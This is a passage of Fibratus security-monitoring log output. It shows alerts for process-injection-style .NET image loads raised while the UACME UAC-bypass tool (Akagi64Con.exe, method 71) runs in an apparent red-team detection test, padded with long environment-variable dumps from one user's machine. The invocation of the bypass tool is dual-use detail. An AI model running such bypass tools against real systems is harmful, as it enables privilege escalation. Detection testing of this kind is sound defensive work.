Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:24+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\PSHOST\77e112fb3705a1f6f05cdcc6e9477b45\PSHOST.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1674048 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.1380137 +0100 CET + Params: base_address➜ 7ffb3fe80000, checksum➜ 0, default_address➜ 7ffb3fe80000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\PSHOST\77e112fb3705a1f6f05cdcc6e9477b45\PSHOST.ni.exe, image_size➜ 2711552, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:24+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\ServiceHub.88fba392#\8bd89b26caa08828f710411ce8f47c7d\ServiceHub.Host.netfx.x64.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1674087 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.1406056 +0100 CET + Params: base_address➜ 7ffb9a7c0000, checksum➜ 0, default_address➜ 7ffb9a7c0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\ServiceHub.88fba392#\8bd89b26caa08828f710411ce8f47c7d\ServiceHub.Host.netfx.x64.ni.exe, image_size➜ 24576, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, rule.name: .NET assembly loaded by unmanaged process, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 